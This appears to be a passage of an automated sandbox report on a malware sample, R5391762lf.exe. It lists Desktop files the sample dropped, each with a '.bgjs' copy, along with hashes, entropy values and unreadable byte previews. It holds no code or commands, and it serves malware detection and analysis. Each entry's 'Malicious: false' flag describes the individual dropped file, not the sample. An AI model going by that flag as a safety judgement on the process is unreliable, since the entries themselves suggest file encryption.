SSDEEP:	24:ojBAmXAGloXXroI7p7pSSqrSJ4/quX9H2uhHMVLb9QJVVbLigWX//MXq8uWbD:oDK1pAdZ/z2uRMZwVVbCnMXFuED
MD5:	F2AD22A4FB767E401311DB1E1C787CA0
SHA1:	93C0C52013638FE3839586FA5ED00F19E02EBE40
SHA-256:	EFD9FF56A57CA52F32A801AF073AA77D66837E6BA77780EB7247D6B4EF742C0E
SHA-512:	2874DB4056886643296E8817FCABAA40F49774B234C8685DA93784F0307D2DD6BAE19C94DECAA67B02BCEB85D6846D36F6F63450269DE4F611CE8E45CEB352A7
Malicious:	false
Preview:	NEBFQq..D../D....7.p.F..b.h.g...kiP.E7y.d.S../../..G..!TG......`.].F....0......$.mh.. .`n=......v:..@R"eP..X`....y.g..wE.fc.&.tqkz.yd....h........}.M...6..8.b?.8..I..e../5w]....6ge.........qS...y...B.8.2.Q..E<.h..Y.$B..r..3..jx..........m.tYt...T.....S.vq).. . ..l.UQ+6....1..".._X..rr.*.R...}GJ\h....!.B.>..R..I....r2...R-...F...H.#....=..$.D......[.eKC..G..<..~o....P..l.k0._#J.w...v..dr.q..`.:...P.#..X1.8c..K..=.{@...V2....'j[..N.<J.....eE!x..hA..\|..m.9Q..9....Z....I ..9x{..)$..C.....K... fw....g._.&...Q..S....9.t....+2...W.....:..\|]....X."W.="2.j..<..........Li...R.l}.......&....C..'L....0.Pk.j.}\r...!...Z.:..\AY......?..@}6L.#..o.5.6.f.N.....C.i...A..Q........\|u=.j6..\...U....8h+...w.....\.y>..F..yCX.ZG}....-gM..b..)...'X.dK..V.51.O.-B...{...^.X..K....C ..Ol.......3(.......+..<l....Q.3..x.L.x....j...[3..b.p...{R\|.CJtMP.."...]ilO..!?u.h&...a..e......:......<Z....<O.....f.X..Njq..#l...a.7..).+......3..P:....`,r.@..2...J.......y......

C:\Users\user\Desktop\NEBFQQYWPS.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855255574587677
Encrypted:	false
SSDEEP:	24:ojBAmXAGloXXroI7p7pSSqrSJ4/quX9H2uhHMVLb9QJVVbLigWX//MXq8uWbD:oDK1pAdZ/z2uRMZwVVbCnMXFuED
MD5:	F2AD22A4FB767E401311DB1E1C787CA0
SHA1:	93C0C52013638FE3839586FA5ED00F19E02EBE40
SHA-256:	EFD9FF56A57CA52F32A801AF073AA77D66837E6BA77780EB7247D6B4EF742C0E
SHA-512:	2874DB4056886643296E8817FCABAA40F49774B234C8685DA93784F0307D2DD6BAE19C94DECAA67B02BCEB85D6846D36F6F63450269DE4F611CE8E45CEB352A7
Malicious:	false
Preview:	NEBFQq..D../D....7.p.F..b.h.g...kiP.E7y.d.S../../..G..!TG......`.].F....0......$.mh.. .`n=......v:..@R"eP..X`....y.g..wE.fc.&.tqkz.yd....h........}.M...6..8.b?.8..I..e../5w]....6ge.........qS...y...B.8.2.Q..E<.h..Y.$B..r..3..jx..........m.tYt...T.....S.vq).. . ..l.UQ+6....1..".._X..rr.*.R...}GJ\h....!.B.>..R..I....r2...R-...F...H.#....=..$.D......[.eKC..G..<..~o....P..l.k0._#J.w...v..dr.q..`.:...P.#..X1.8c..K..=.{@...V2....'j[..N.<J.....eE!x..hA..\|..m.9Q..9....Z....I ..9x{..)$..C.....K... fw....g._.&...Q..S....9.t....+2...W.....:..\|]....X."W.="2.j..<..........Li...R.l}.......&....C..'L....0.Pk.j.}\r...!...Z.:..\AY......?..@}6L.#..o.5.6.f.N.....C.i...A..Q........\|u=.j6..\...U....8h+...w.....\.y>..F..yCX.ZG}....-gM..b..)...'X.dK..V.51.O.-B...{...^.X..K....C ..Ol.......3(.......+..<l....Q.3..x.L.x....j...[3..b.p...{R\|.CJtMP.."...]ilO..!?u.h&...a..e......:......<Z....<O.....f.X..Njq..#l...a.7..).+......3..P:....`,r.@..2...J.......y......

C:\Users\user\Desktop\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84414747706437
Encrypted:	false
SSDEEP:	24:VRiV+ztaPUpLglLdFpBo1+or0o9JpPcTwG6RUbunls13Uv4YXq8uWbD:VcVYtEK8rTyn39oTwzUEv9XFuED
MD5:	6E24A379C6C21F1A6E1994CA7C4D95A7
SHA1:	4DDF25F4748FFB41F625CF7B6794CE4BBBC56362
SHA-256:	25C858507E21AEFE135BA1F4BCFDCF8D50A04BC997D459E75A13825F01638034
SHA-512:	4FDFAAA33B8486A5D52417DB18CB612608E329E6C675D80DD980B20600F2EAF5CD65654BCD9B702DC3C454F3AAAE9428B519C11FAB962A20A5A409899160B96F
Malicious:	false
Preview:	NEBFQ\|..2..1K...;".&o..O..~../~F@.Vn.n.0.!..".`..6.I.7r.eX.e.. .(u..0.....'....qj..#..k....D....g..H.b.@y7......jj..{...j..V.fC.`..\|.P.D[(.4..._o6.Pr.&..@.:.k..]...Cx.=#Y..i..9...eNj..+....EJ.g.B.]5I...<.~...K..:..T`\...`..p.R..AhCb...:..yPU/1"^.{.[..&^oQ636{.\.,...U....ZA.z>....6...5..I.A..(+.7.@..&..j..lP.j.d.6d.S.....ZY...C{..Px...`.b`D]h.. ...+.8.pT..P...q........UQ....+.7r........ .....o.2y./...9h...x.^......L~..&...?$..\|.U.....b..N..>.`....Y%....._.?.o.#T/.H.3....XM.......HK.S}.....o..BQ..s..I....L.).G..U..gY..{.?.......(.o._...j....{tA.R'....b..b_...T(4..M..y.<4.....`/...gW..$e.a.......W`....!.K.Qr...../D.\|t..}\|.".1Q.q.."..:.....\|..+O..&.1.G.d~l...%..c.3.%....!-avh.e......z.\|.R.E..aq....eg...f.K..A......Qu.J.m...I{....>...Y..?.a..4...q.....O.'v..:...ILw..7t..1Z.......C..`....J.P.B.KE...q.g9?N.T..9)..#P.6...).W.gh..'.M.V...T..M../&x)XP.n.'..y...Q....N_0..*C....6.GV..M.O.=..,..1X.......mW..p.z......V...(f5.&.uB.Zjc.75....N.JF..d.k._..vt..<..u

C:\Users\user\Desktop\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84414747706437
Encrypted:	false
SSDEEP:	24:VRiV+ztaPUpLglLdFpBo1+or0o9JpPcTwG6RUbunls13Uv4YXq8uWbD:VcVYtEK8rTyn39oTwzUEv9XFuED
MD5:	6E24A379C6C21F1A6E1994CA7C4D95A7
SHA1:	4DDF25F4748FFB41F625CF7B6794CE4BBBC56362
SHA-256:	25C858507E21AEFE135BA1F4BCFDCF8D50A04BC997D459E75A13825F01638034
SHA-512:	4FDFAAA33B8486A5D52417DB18CB612608E329E6C675D80DD980B20600F2EAF5CD65654BCD9B702DC3C454F3AAAE9428B519C11FAB962A20A5A409899160B96F
Malicious:	false
Preview:	NEBFQ\|..2..1K...;".&o..O..~../~F@.Vn.n.0.!..".`..6.I.7r.eX.e.. .(u..0.....'....qj..#..k....D....g..H.b.@y7......jj..{...j..V.fC.`..\|.P.D[(.4..._o6.Pr.&..@.:.k..]...Cx.=#Y..i..9...eNj..+....EJ.g.B.]5I...<.~...K..:..T`\...`..p.R..AhCb...:..yPU/1"^.{.[..&^oQ636{.\.,...U....ZA.z>....6...5..I.A..(+.7.@..&..j..lP.j.d.6d.S.....ZY...C{..Px...`.b`D]h.. ...+.8.pT..P...q........UQ....+.7r........ .....o.2y./...9h...x.^......L~..&...?$..\|.U.....b..N..>.`....Y%....._.?.o.#T/.H.3....XM.......HK.S}.....o..BQ..s..I....L.).G..U..gY..{.?.......(.o._...j....{tA.R'....b..b_...T(4..M..y.<4.....`/...gW..$e.a.......W`....!.K.Qr...../D.\|t..}\|.".1Q.q.."..:.....\|..+O..&.1.G.d~l...%..c.3.%....!-avh.e......z.\|.R.E..aq....eg...f.K..A......Qu.J.m...I{....>...Y..?.a..4...q.....O.'v..:...ILw..7t..1Z.......C..`....J.P.B.KE...q.g9?N.T..9)..#P.6...).W.gh..'.M.V...T..M../&x)XP.n.'..y...Q....N_0..*C....6.GV..M.O.=..,..1X.......mW..p.z......V...(f5.&.uB.Zjc.75....N.JF..d.k._..vt..<..u

C:\Users\user\Desktop\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8346102090473915
Encrypted:	false
SSDEEP:	24:v8zI80Abc9ZtgPQIbtMhWgQbdl04vx2be9fKoRqCPIWF+BzUpX/xIfBLl4oBHPsM:qUAU3w/eIgQbdm4v8e9tRfF+BzKXex4u
MD5:	C699EBA7C74B1FE93FDA0557CAD1ADA7
SHA1:	71728DD6354D92A10A2AC6DF5A1732C53A29FEDF
SHA-256:	D708E5230229F004C57972E92B6555B80428E7CACA2B752BACA487A49647992D
SHA-512:	4FA1049BF5D648CFFD6E3183DD727A981585EBA0E2B4F2A650C45CFA89E8F10BE105951E714164BEECE21456784C198F99EAFBBC81E71DC3CF4D58A11E38638F
Malicious:	false
Preview:	PIVFA9.....\mx.t9.e..%....X<:.n.(...IW..)...t.D...o..]CnJ.~.....7...I...8...../.RX.NQ.2?J......8....j~-.st.x@.ljx.....Kb....z.Z}/...'...G...4.....3..2..x...S.'....C./x....c..R.u-}....._...UA..'.&...'.ywd..w.M..nbI.[..C.[z...O./...&\|.A..y$..X...c.;....a........;....e....... ..D.u...p.Y.5L...0..F......E.}.(.L..>..m<...).....m%.a..B...Cc.......o.y._.-Q.sx).....n.........uJwZ.3.?....R....+...Inc...nN...-^..........?}76..O.e.C.BB\&f...K...B.&..y....J..3...& +..[R[...5.wv...49..h.....f..g\..%.SV.R..sV..7..x\....^N.)...E....$....!w2M.@y.....I.....8....C.1.w.......,`B..Y`.e.9. .0..2..<...u.Q..).@...Q.n.6.w.....9...xH...F....2;.QU.R+...9}S1U.T..__...L.\.g.......l..-..A....F...t.&.b.Qf..'......c.'..M..v.P.Y7X#.b.8.Mh..B$]th...n..42.R.....4..s..z....k...&.+.)."..{W\|....U..B....~..s..~..Ag.a....5...~....#.e....W.(..7u=......5..J.LrvJ...e'Sv.=4...F.1.Kt-.....`y.X...F}.-.=....D...TKm..$I.N6.,t.=E.g..l.l..E.....A......P.G....t..1.9..4....>^a......n.

C:\Users\user\Desktop\PIVFAGEAAV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8346102090473915
Encrypted:	false
SSDEEP:	24:v8zI80Abc9ZtgPQIbtMhWgQbdl04vx2be9fKoRqCPIWF+BzUpX/xIfBLl4oBHPsM:qUAU3w/eIgQbdm4v8e9tRfF+BzKXex4u
MD5:	C699EBA7C74B1FE93FDA0557CAD1ADA7
SHA1:	71728DD6354D92A10A2AC6DF5A1732C53A29FEDF
SHA-256:	D708E5230229F004C57972E92B6555B80428E7CACA2B752BACA487A49647992D
SHA-512:	4FA1049BF5D648CFFD6E3183DD727A981585EBA0E2B4F2A650C45CFA89E8F10BE105951E714164BEECE21456784C198F99EAFBBC81E71DC3CF4D58A11E38638F
Malicious:	false
Preview:	PIVFA9.....\mx.t9.e..%....X<:.n.(...IW..)...t.D...o..]CnJ.~.....7...I...8...../.RX.NQ.2?J......8....j~-.st.x@.ljx.....Kb....z.Z}/...'...G...4.....3..2..x...S.'....C./x....c..R.u-}....._...UA..'.&...'.ywd..w.M..nbI.[..C.[z...O./...&\|.A..y$..X...c.;....a........;....e....... ..D.u...p.Y.5L...0..F......E.}.(.L..>..m<...).....m%.a..B...Cc.......o.y._.-Q.sx).....n.........uJwZ.3.?....R....+...Inc...nN...-^..........?}76..O.e.C.BB\&f...K...B.&..y....J..3...& +..[R[...5.wv...49..h.....f..g\..%.SV.R..sV..7..x\....^N.)...E....$....!w2M.@y.....I.....8....C.1.w.......,`B..Y`.e.9. .0..2..<...u.Q..).@...Q.n.6.w.....9...xH...F....2;.QU.R+...9}S1U.T..__...L.\.g.......l..-..A....F...t.&.b.Qf..'......c.'..M..v.P.Y7X#.b.8.Mh..B$]th...n..42.R.....4..s..z....k...&.+.)."..{W\|....U..B....~..s..~..Ag.a....5...~....#.e....W.(..7u=......5..J.LrvJ...e'Sv.=4...F.1.Kt-.....`y.X...F}.-.=....D...TKm..$I.N6.,t.=E.g..l.l..E.....A......P.G....t..1.9..4....>^a......n.

C:\Users\user\Desktop\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836464926887699
Encrypted:	false
SSDEEP:	24:d+Ibt5JiI52UpNQCswwMYJwnHpu9HrpdMx0Uc+4uYSo7iG9bFcz7cppQYkDXq8uQ:DbD153/kuwMGpuYSKczwppQYuXFuED
MD5:	F6CFED6CB11976460373094C8F888A5C
SHA1:	7CD3A634056C2DD6CF84B5755F928F7D1C836581
SHA-256:	22C60028F5386A06B3696F43B2FBE3B96A84FC26F3DABF5B8879F4699D90039C
SHA-512:	E7BB5D03939CA0F874DA98195E1DF042E65B41FA801FB7FC0545E2FCB9E9B2A65427F1A15723B75E6FE0B8A5F52CD154306512D0A0A8197F788191C1B45023F7
Malicious:	false
Preview:	PIVFA.....T.@H..0...j.@.r.T....hi...u..(......n%..iX.X...\.8.QB....(.\|.:..d.e'...Vwp3.._.8QE...LH.h.?/!..C.&.O.........F.....o...V%.F.....~......>...i .....}.1...-vEXK.....!... .pF..-$6..k..w......:7.ar...u...R.v[^1O-.g.L.\|...'v..........;....OME?G.M.g.........h..v..l...3V.p..d.n.:.........b....8.k8O.k.W3....(..`[......!.cL...@S=.lU.Z..dl. ...lBs]."o..f#N...F.7{1..4.k.DE..`.8N.+...g.....K@Re+.{"Qq!.d)C.{.:K..=:.c...\...`.i...t...d.X.#..h...3.........D.&.5jK..w..B...g.U5.C...V..C...k...R....?..."Z[.&....\|v[.8^...4'^hK.......})..@..X..GS...IoE.`3......\..{L.=.0...\r.8.Ra...B@n.+c.B._....E{%$......i.....-^2Z.&O,.....T.Eu.......;AO".35.a0`.. .iO..lf.n..g-..4..X.M%..G..<l.(?..u........n...$.....V...S..W61......9.o`3.......h.s.wm<....V.Y..}...q.D,zu...../x.}.sd....1y.j.X.\|0F....Z.....CC...<p?F.a.WE..H.\...>z=x..d.~2L...:.(.6..R...3V..~.i<.u.QR..'..H.:...{2A;..J.h."-u&..4..Db.J...A...<\|T..@...W.7.%..'........D.p;P..9..@.9"^Q..[.CLVwd>m.w

C:\Users\user\Desktop\PIVFAGEAAV.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836464926887699
Encrypted:	false
SSDEEP:	24:d+Ibt5JiI52UpNQCswwMYJwnHpu9HrpdMx0Uc+4uYSo7iG9bFcz7cppQYkDXq8uQ:DbD153/kuwMGpuYSKczwppQYuXFuED
MD5:	F6CFED6CB11976460373094C8F888A5C
SHA1:	7CD3A634056C2DD6CF84B5755F928F7D1C836581
SHA-256:	22C60028F5386A06B3696F43B2FBE3B96A84FC26F3DABF5B8879F4699D90039C
SHA-512:	E7BB5D03939CA0F874DA98195E1DF042E65B41FA801FB7FC0545E2FCB9E9B2A65427F1A15723B75E6FE0B8A5F52CD154306512D0A0A8197F788191C1B45023F7
Malicious:	false
Preview:	PIVFA.....T.@H..0...j.@.r.T....hi...u..(......n%..iX.X...\.8.QB....(.\|.:..d.e'...Vwp3.._.8QE...LH.h.?/!..C.&.O.........F.....o...V%.F.....~......>...i .....}.1...-vEXK.....!... .pF..-$6..k..w......:7.ar...u...R.v[^1O-.g.L.\|...'v..........;....OME?G.M.g.........h..v..l...3V.p..d.n.:.........b....8.k8O.k.W3....(..`[......!.cL...@S=.lU.Z..dl. ...lBs]."o..f#N...F.7{1..4.k.DE..`.8N.+...g.....K@Re+.{"Qq!.d)C.{.:K..=:.c...\...`.i...t...d.X.#..h...3.........D.&.5jK..w..B...g.U5.C...V..C...k...R....?..."Z[.&....\|v[.8^...4'^hK.......})..@..X..GS...IoE.`3......\..{L.=.0...\r.8.Ra...B@n.+c.B._....E{%$......i.....-^2Z.&O,.....T.Eu.......;AO".35.a0`.. .iO..lf.n..g-..4..X.M%..G..<l.(?..u........n...$.....V...S..W61......9.o`3.......h.s.wm<....V.Y..}...q.D,zu...../x.}.sd....1y.j.X.\|0F....Z.....CC...<p?F.a.WE..H.\...>z=x..d.~2L...:.(.6..R...3V..~.i<.u.QR..'..H.:...{2A;..J.h."-u&..4..Db.J...A...<\|T..@...W.7.%..'........D.p;P..9..@.9"^Q..[.CLVwd>m.w

C:\Users\user\Desktop\PWCCAWLGRE.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852141712791616
Encrypted:	false
SSDEEP:	24:RoRQLv/4R9rSUrGoEMIDeJDr0cafIrpnFz00u6KunKpAFU2h6W8CzAp+aWgNUEb5:JLv/4nW+EbwrFp00LryuU26h+AcgUaXp
MD5:	E7C70120D7772BBC73D7D4F52183B72B
SHA1:	4271ED097567ACBE008F5061B770191C4291652F
SHA-256:	EE7C03E74264EB0B893FB50390061441AD25992FD8E83E02C84420D33DA24A58
SHA-512:	BC4B30C8BBC01651284C99C62E762885EE442EA4DC3F26B6F5FDFFECF975163420C65233C87A17165389ABFA6D36C466AE847A74758C4168684C835350D38BB4
Malicious:	false
Preview:	PWCCA.b...3.n.3...f..MG.s..LQ.o...].@.....J9..2=N..V8.y.bt!M7.\..a2>Z...2..0.x...wK4l>...7.E$....I\|B.J8....h\|...)oF.w4Z.'.u..H.5.ih..d.I.?>....~._+.....K....z...I..........LAu&>)8 ..U.T.F..H.\.6<....^..O.R....xBN.D.c..`...../PW........1.eH7 .....p.q]`5.\.m..=...N...e0.2rA......B.4$CDA...../q..E.,C;...pG8..W...l.A.O....cX.a1/..OM^..+T.p..r.=... /'..Rm<h.+.)kx..ku....$..(6t0...7..\9......%.^..w.Zwh.Xg5..._..sVk. ..:.b..R.. .8.....F.b.h#A..W..V+.......(.?y..p....p.v\|.:Q.}(.e........E,...2...j...Y..Mg....Li..Q..b..i....np...5.....b1...<......p......6{....}..& .... .S.....K.z;.L.Tw...&..f}k..\|V.M.;.....t......'-..(....QA....+.g.`.( .>]C.}..m......$X.Y.D..wM..+.%xP.0.G..R.}r..2...r..@:...B.L)...+...m....+.H..r....p..<.......,.XO...H...i.Lc....n`...............\.$.d..&f\|.6...[#.Lta..P......Q.N.lB\|...#<..1..QV...h......+........A..Tj=X[../E...Z.YW.}.!.$....$~N.&..<b....~....>.p.u.EX..\JS.q.n..9'.l@..:b....db`..Cg.9..i9i.u#X.3u.k.sO[}...3..n.z.zul

C:\Users\user\Desktop\PWCCAWLGRE.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852141712791616
Encrypted:	false
SSDEEP:	24:RoRQLv/4R9rSUrGoEMIDeJDr0cafIrpnFz00u6KunKpAFU2h6W8CzAp+aWgNUEb5:JLv/4nW+EbwrFp00LryuU26h+AcgUaXp
MD5:	E7C70120D7772BBC73D7D4F52183B72B
SHA1:	4271ED097567ACBE008F5061B770191C4291652F
SHA-256:	EE7C03E74264EB0B893FB50390061441AD25992FD8E83E02C84420D33DA24A58
SHA-512:	BC4B30C8BBC01651284C99C62E762885EE442EA4DC3F26B6F5FDFFECF975163420C65233C87A17165389ABFA6D36C466AE847A74758C4168684C835350D38BB4
Malicious:	false
Preview:	PWCCA.b...3.n.3...f..MG.s..LQ.o...].@.....J9..2=N..V8.y.bt!M7.\..a2>Z...2..0.x...wK4l>...7.E$....I\|B.J8....h\|...)oF.w4Z.'.u..H.5.ih..d.I.?>....~._+.....K....z...I..........LAu&>)8 ..U.T.F..H.\.6<....^..O.R....xBN.D.c..`...../PW........1.eH7 .....p.q]`5.\.m..=...N...e0.2rA......B.4$CDA...../q..E.,C;...pG8..W...l.A.O....cX.a1/..OM^..+T.p..r.=... /'..Rm<h.+.)kx..ku....$..(6t0...7..\9......%.^..w.Zwh.Xg5..._..sVk. ..:.b..R.. .8.....F.b.h#A..W..V+.......(.?y..p....p.v\|.:Q.}(.e........E,...2...j...Y..Mg....Li..Q..b..i....np...5.....b1...<......p......6{....}..& .... .S.....K.z;.L.Tw...&..f}k..\|V.M.;.....t......'-..(....QA....+.g.`.( .>]C.}..m......$X.Y.D..wM..+.%xP.0.G..R.}r..2...r..@:...B.L)...+...m....+.H..r....p..<.......,.XO...H...i.Lc....n`...............\.$.d..&f\|.6...[#.Lta..P......Q.N.lB\|...#<..1..QV...h......+........A..Tj=X[../E...Z.YW.}.!.$....$~N.&..<b....~....>.p.u.EX..\JS.q.n..9'.l@..:b....db`..Cg.9..i9i.u#X.3u.k.sO[}...3..n.z.zul

C:\Users\user\Desktop\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83769241759297
Encrypted:	false
SSDEEP:	24:YBavDMKiIM3vUWcjnPC6WRlRIMs93uuMT48FOYGB5QENMjt2x5kxXq8uWbD:skDgsWcra6WRlyuZDFOYSiEZcxXFuED
MD5:	80C928E9DDED557B80D0389E810B9D1D
SHA1:	C511FEAC87B5E40ADCEB7A63AAEB7500EEBB3CF8
SHA-256:	FCC913EC24107AEBB2E3EC14EDE254A0AD61A9F300C1A3534A61C7FF6CDEE983
SHA-512:	2CC8783E14F1A168C00E1D833A934547B5D726DCA1272B9259C4303F06B008D840BDBE8F4B647EF8ADB3A8005450189A967FDDC5B9D0FA81B4094340CF0D29F0
Malicious:	false
Preview:	QCFWY'.St..1.z..C8....C......m^6..T...n..)j......[C...\29..s.n..M...U.Rw..P...`.A..j...4.1...z.YM..3Y.tR..T&.p..u..]2I.....$..w.f8-I.~S.)..T...&."....z'.2Cb....:y2).M..F....8b...CN8S.y....`..]..k...^.......V.f.NUJ."1/.......U6.o.u....$...n..I..k..9BT&.....C3..%.....!...rd(..b.hh2.t".....M....c.s..+'.. ...@.TI3\|.%..ci..U....h9....bB.......h-s...../. ....@....o}L.(k'..]l..)^.ij0\y.d..Z..v.A1...Q.a..8...q.U.........c.u.w._V 4.....3..3y..._...i~H..fx..s.a..).....=!5......1...Q..9...XX$f)5..Y..Ks_.;....\.db.2.......,[Y@g..m.T_._G.[[.NU.]..LC}...#..C........?..?.h .S......pH.\l.......ZK..\.}.g..@.....-.tv}I.i.}.H!..+.S.7.Z...h2.`v..^.0<=!}+7.?..=C.....h.7...P.E=..m..b.,...(.k..ua..w.I......v..?.....X?C.I<8)Y..[i#k8sx.GC..M\|xb[f....T...4T\y....E#Q..z\|.R7'.5.{8=...7.J................;..dlyG.B.K..m...ty....j.9...!.~.r.v...T@f...X.n..}...q...k...1.....@.%...2W..".e..3C.;-.....q..D..S.+.>e..... .4W1.b.g..^...ws..0..F;.;(.. `.....h..'...?)5....7X?.^.

C:\Users\user\Desktop\QCFWYSKMHA.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83769241759297
Encrypted:	false
SSDEEP:	24:YBavDMKiIM3vUWcjnPC6WRlRIMs93uuMT48FOYGB5QENMjt2x5kxXq8uWbD:skDgsWcra6WRlyuZDFOYSiEZcxXFuED
MD5:	80C928E9DDED557B80D0389E810B9D1D
SHA1:	C511FEAC87B5E40ADCEB7A63AAEB7500EEBB3CF8
SHA-256:	FCC913EC24107AEBB2E3EC14EDE254A0AD61A9F300C1A3534A61C7FF6CDEE983
SHA-512:	2CC8783E14F1A168C00E1D833A934547B5D726DCA1272B9259C4303F06B008D840BDBE8F4B647EF8ADB3A8005450189A967FDDC5B9D0FA81B4094340CF0D29F0
Malicious:	false
Preview:	QCFWY'.St..1.z..C8....C......m^6..T...n..)j......[C...\29..s.n..M...U.Rw..P...`.A..j...4.1...z.YM..3Y.tR..T&.p..u..]2I.....$..w.f8-I.~S.)..T...&."....z'.2Cb....:y2).M..F....8b...CN8S.y....`..]..k...^.......V.f.NUJ."1/.......U6.o.u....$...n..I..k..9BT&.....C3..%.....!...rd(..b.hh2.t".....M....c.s..+'.. ...@.TI3\|.%..ci..U....h9....bB.......h-s...../. ....@....o}L.(k'..]l..)^.ij0\y.d..Z..v.A1...Q.a..8...q.U.........c.u.w._V 4.....3..3y..._...i~H..fx..s.a..).....=!5......1...Q..9...XX$f)5..Y..Ks_.;....\.db.2.......,[Y@g..m.T_._G.[[.NU.]..LC}...#..C........?..?.h .S......pH.\l.......ZK..\.}.g..@.....-.tv}I.i.}.H!..+.S.7.Z...h2.`v..^.0<=!}+7.?..=C.....h.7...P.E=..m..b.,...(.k..ua..w.I......v..?.....X?C.I<8)Y..[i#k8sx.GC..M\|xb[f....T...4T\y....E#Q..z\|.R7'.5.{8=...7.J................;..dlyG.B.K..m...ty....j.9...!.~.r.v...T@f...X.n..}...q...k...1.....@.%...2W..".e..3C.;-.....q..D..S.+.>e..... .4W1.b.g..^...ws..0..F;.;(.. `.....h..'...?)5....7X?.^.

C:\Users\user\Desktop\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858665267873525
Encrypted:	false
SSDEEP:	24:TZtsR/r6T7aetaSYnSeD1zMTyZV6BkssFKo4VXzHZBaqstHV1OQIRj4NySUXq8uQ:nsR/r6yetageZV6nsKhoHVQ0NCXFuED
MD5:	4A39A3FF208A4312C6E6E70150782F0D
SHA1:	61A69E8BB715693181345B0C4861A842E126AA25
SHA-256:	251606BF8E5DACB4F561B7C5D46EE6F3FB852C9C934FEE18362BC9CDFCC5112A
SHA-512:	8A945D7C462779AE729413C22EBE17CAEA4E60F54734257188E67A65FEA4D1D62E3B92DFC9B0B366F24BEADAE8FF42C8EE70E4903C15AEBAAC40A45D9EB76777
Malicious:	false
Preview:	QNCYC...o.X.w..L"M.%.0.;C.. (..N..&.Uc..d./.[....W-...........f...@..x..J..y.j....f.@..m..R.A;. c4...a...v..^T.L<..}-JFG.......$..!2...2..<. ..I.2.)[..8.:m.N.!.A.I.i.bl....lEl...Z.&dU...J.@8r.!...../D~%b9.4.8.w._.B;.........\.N...Q..Gi.c..a.....h..q...~.c.......\|....P.<.J...\..B...Q.....6gd#..;e..].$.i4v"a.,....l....'p.1&..1Px..d@33j..C..L.....@-+.rAC..w.O..g.#4q.=..G.b.f...r0....Uv........X.L.I.Z........o.+...{.C......Y....n...'b..k.h.U2...{^..iZ5~.zve.7.......o..(.t..:......ZH.\|b....3I...w\|...Kc.9.6n?........]..=..,U\|...;.-...Ug1......~<G....7..<q.^.Gu.P,2...5.#..vT.TSy....5P"..q.b8.2,..2]....6..:.....u.s...j.C4'.5?.-.0.{tt..o.>aB...c....(b.z.)...'....T..LVN.......^/.W{C...I..w.]."...B.L.....4<.OQ).8. Q..{.1@...........w...L........j3..)..(3...'^...1....}V..6........a....$.B...+..;...w...k,.....p>..<......Ab_....n.Q..y...%.a......}...9..0..s)....vA'...vSNFG....&...t..j....%...]2.!..D...D.(..8.r.@.t...s..A$_.(BE.A..JT...dA

C:\Users\user\Desktop\QNCYCDFIJJ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858665267873525
Encrypted:	false
SSDEEP:	24:TZtsR/r6T7aetaSYnSeD1zMTyZV6BkssFKo4VXzHZBaqstHV1OQIRj4NySUXq8uQ:nsR/r6yetageZV6nsKhoHVQ0NCXFuED
MD5:	4A39A3FF208A4312C6E6E70150782F0D
SHA1:	61A69E8BB715693181345B0C4861A842E126AA25
SHA-256:	251606BF8E5DACB4F561B7C5D46EE6F3FB852C9C934FEE18362BC9CDFCC5112A
SHA-512:	8A945D7C462779AE729413C22EBE17CAEA4E60F54734257188E67A65FEA4D1D62E3B92DFC9B0B366F24BEADAE8FF42C8EE70E4903C15AEBAAC40A45D9EB76777
Malicious:	false
Preview:	QNCYC...o.X.w..L"M.%.0.;C.. (..N..&.Uc..d./.[....W-...........f...@..x..J..y.j....f.@..m..R.A;. c4...a...v..^T.L<..}-JFG.......$..!2...2..<. 